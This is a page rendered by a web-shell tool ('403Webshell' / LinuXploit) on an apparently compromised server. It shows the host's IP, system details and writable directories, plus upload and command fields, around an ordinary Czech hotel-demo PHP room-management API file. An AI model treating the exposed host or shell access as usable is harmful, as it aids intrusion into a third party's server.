403Webshell
Server IP : 193.86.120.172  /  Your IP : 216.73.216.215
Web Server : Apache/2.4.63 (Unix)
System : Linux JServices 3.10.108 #86003 SMP Wed Oct 22 13:20:46 CST 2025 x86_64
User : kubec ( 1026)
PHP Version : 8.2.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /volume1/web/hotel_jservices_cz/api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /volume1/web/hotel_jservices_cz/api/pokoje.php
<?php
// ============================================================
//  Hotel DEMO — api/pokoje.php
//  CRUD fyzických pokojů (pouze admin a manažer)
// ============================================================

$user   = auth_check();
$action = $_GET['action'] ?? '';
$input  = json_decode(file_get_contents('php://input'), true) ?? [];

match ($action) {
    'seznam'     => p_seznam(),
    'detail'     => p_detail((int)($_GET['id'] ?? 0)),
    'vytvorit'   => p_vytvorit($user, $input),
    'upravit'    => p_upravit($user, (int)($_GET['id'] ?? 0), $input),
    'smazat'     => p_smazat($user, (int)($_GET['id'] ?? 0)),
    'aktivovat'  => p_aktivovat($user, (int)($_GET['id'] ?? 0), true),
    'deaktivovat'=> p_aktivovat($user, (int)($_GET['id'] ?? 0), false),
    'poradi'     => p_poradi($user, $input),
    default      => api_response(false, null, 'Neznámá akce', 400),
};

// ------------------------------------------------------------
//  SEZNAM
// ------------------------------------------------------------
function p_seznam(): never {
    $typ_id        = (int)($_GET['typ_id'] ?? 0);
    $pouze_aktivni = isset($_GET['aktivni']);

    $where  = [];
    $params = [];

    if ($typ_id) {
        $where[]  = 'p.typ_id = ?';
        $params[] = $typ_id;
    }
    if ($pouze_aktivni) {
        $where[] = 'p.aktivni = 1';
    }

    $sql_where = $where ? 'WHERE ' . implode(' AND ', $where) : '';

    $pokoje = db_rows(
        "SELECT p.*, t.nazev AS typ_nazev, t.kapacita, t.cena_za_noc,
                t.snidane_dostupne, t.min_pobyt_noci
         FROM pokoje p
         JOIN typy_pokoju t ON t.id = p.typ_id
         {$sql_where}
         ORDER BY p.poradi ASC, p.cislo ASC",
        $params
    );

    api_response(true, $pokoje);
}

// ------------------------------------------------------------
//  DETAIL
// ------------------------------------------------------------
function p_detail(int $id): never {
    if (!$id) api_response(false, null, 'Chybí ID', 400);

    $pokoj = db_row(
        'SELECT p.*, t.nazev AS typ_nazev, t.kapacita, t.cena_za_noc,
                t.snidane_dostupne, t.min_pobyt_noci, t.popis AS typ_popis
         FROM pokoje p
         JOIN typy_pokoju t ON t.id = p.typ_id
         WHERE p.id = ?',
        [$id]
    );
    if (!$pokoj) api_response(false, null, 'Pokoj nenalezen', 404);

    // Blokované termíny
    $blokovane = db_rows(
        'SELECT * FROM blokovane_terminy WHERE pokoj_id = ? AND datum_do >= CURDATE() ORDER BY datum_od ASC',
        [$id]
    );

    api_response(true, ['pokoj' => $pokoj, 'blokovane' => $blokovane]);
}

// ------------------------------------------------------------
//  VYTVOŘENÍ
// ------------------------------------------------------------
function p_vytvorit(array $user, array $input): never {
    auth_require_role($user, ['admin', 'manazer']);

    [$typ_id, $cislo, $nazev, $poradi] = _p_validuj($input);

    // Číslo pokoje musí být unikátní
    if (db_val('SELECT 1 FROM pokoje WHERE cislo = ?', [$cislo])) {
        api_response(false, null, 'Pokoj s číslem "' . $cislo . '" již existuje.', 409);
    }

    $id = db_insert(
        'INSERT INTO pokoje (typ_id, cislo, nazev, poradi) VALUES (?, ?, ?, ?)',
        [$typ_id, $cislo, $nazev, $poradi]
    );

    api_response(true, ['id' => $id]);
}

// ------------------------------------------------------------
//  ÚPRAVA
// ------------------------------------------------------------
function p_upravit(array $user, int $id, array $input): never {
    auth_require_role($user, ['admin', 'manazer']);
    if (!$id) api_response(false, null, 'Chybí ID', 400);

    $pokoj = db_row('SELECT * FROM pokoje WHERE id = ?', [$id]);
    if (!$pokoj) api_response(false, null, 'Pokoj nenalezen', 404);

    [$typ_id, $cislo, $nazev, $poradi] = _p_validuj($input);

    // Kontrola kolize čísla (vyloučit aktuální pokoj)
    if (db_val('SELECT 1 FROM pokoje WHERE cislo = ? AND id != ?', [$cislo, $id])) {
        api_response(false, null, 'Pokoj s číslem "' . $cislo . '" již existuje.', 409);
    }

    db_query(
        'UPDATE pokoje SET typ_id=?, cislo=?, nazev=?, poradi=? WHERE id=?',
        [$typ_id, $cislo, $nazev, $poradi, $id]
    );

    api_response(true, null);
}

// ------------------------------------------------------------
//  SMAZÁNÍ
// ------------------------------------------------------------
function p_smazat(array $user, int $id): never {
    auth_require_role($user, ['admin', 'manazer']);
    if (!$id) api_response(false, null, 'Chybí ID', 400);

    // Nelze smazat pokoj s existujícími rezervacemi
    $pocet = (int)db_val(
        "SELECT COUNT(*) FROM rezervace WHERE pokoj_id = ? AND stav != 'zrusena'",
        [$id]
    );
    if ($pocet > 0) {
        api_response(false, null,
            'Pokoj nelze smazat — má ' . $pocet . ' aktivní rezervaci/í. Nejprve je zrušte.', 409);
    }

    db_query('DELETE FROM pokoje WHERE id = ?', [$id]);
    api_response(true, null);
}

// ------------------------------------------------------------
//  AKTIVACE / DEAKTIVACE
// ------------------------------------------------------------
function p_aktivovat(array $user, int $id, bool $aktivni): never {
    auth_require_role($user, ['admin', 'manazer']);
    if (!$id) api_response(false, null, 'Chybí ID', 400);

    if (!db_val('SELECT 1 FROM pokoje WHERE id = ?', [$id])) {
        api_response(false, null, 'Pokoj nenalezen', 404);
    }

    // Varování při deaktivaci pokoje s budoucími rezervacemi
    if (!$aktivni) {
        $budouci = (int)db_val(
            "SELECT COUNT(*) FROM rezervace
             WHERE pokoj_id = ? AND stav != 'zrusena' AND datum_odjezdu >= CURDATE()",
            [$id]
        );
        if ($budouci > 0) {
            api_response(false, null,
                'Pokoj má ' . $budouci . ' budoucí rezervaci/í. Deaktivací jej skryjete z nabídky, ' .
                'ale existující rezervace zůstanou. Opravdu chcete pokračovat?', 409);
        }
    }

    db_query('UPDATE pokoje SET aktivni = ? WHERE id = ?', [$aktivni ? 1 : 0, $id]);
    api_response(true, null);
}

// ------------------------------------------------------------
//  ZMĚNA POŘADÍ
// ------------------------------------------------------------
function p_poradi(array $user, array $input): never {
    auth_require_role($user, ['admin', 'manazer']);

    $poradi = $input['poradi'] ?? [];
    if (!is_array($poradi)) api_response(false, null, 'Neplatná data', 400);

    foreach ($poradi as $id => $p) {
        db_query('UPDATE pokoje SET poradi = ? WHERE id = ?', [(int)$p, (int)$id]);
    }

    api_response(true, null);
}

// ------------------------------------------------------------
//  INTERNÍ — validace vstupu
// ------------------------------------------------------------
function _p_validuj(array $input): array {
    $typ_id = (int)($input['typ_id'] ?? 0);
    $cislo  = trim($input['cislo'] ?? '');
    $nazev  = trim($input['nazev'] ?? '') ?: null;
    $poradi = (int)($input['poradi'] ?? 0);

    if (!$typ_id) api_response(false, null, 'Vyberte typ pokoje.', 400);
    if (!$cislo)  api_response(false, null, 'Číslo pokoje je povinné.', 400);

    // Ověření existence typu
    if (!db_val('SELECT 1 FROM typy_pokoju WHERE id = ?', [$typ_id])) {
        api_response(false, null, 'Zvolený typ pokoje neexistuje.', 400);
    }

    return [$typ_id, $cislo, $nazev, $poradi];
}

Youez - 2016 - github.com/yon3zu
LinuXploit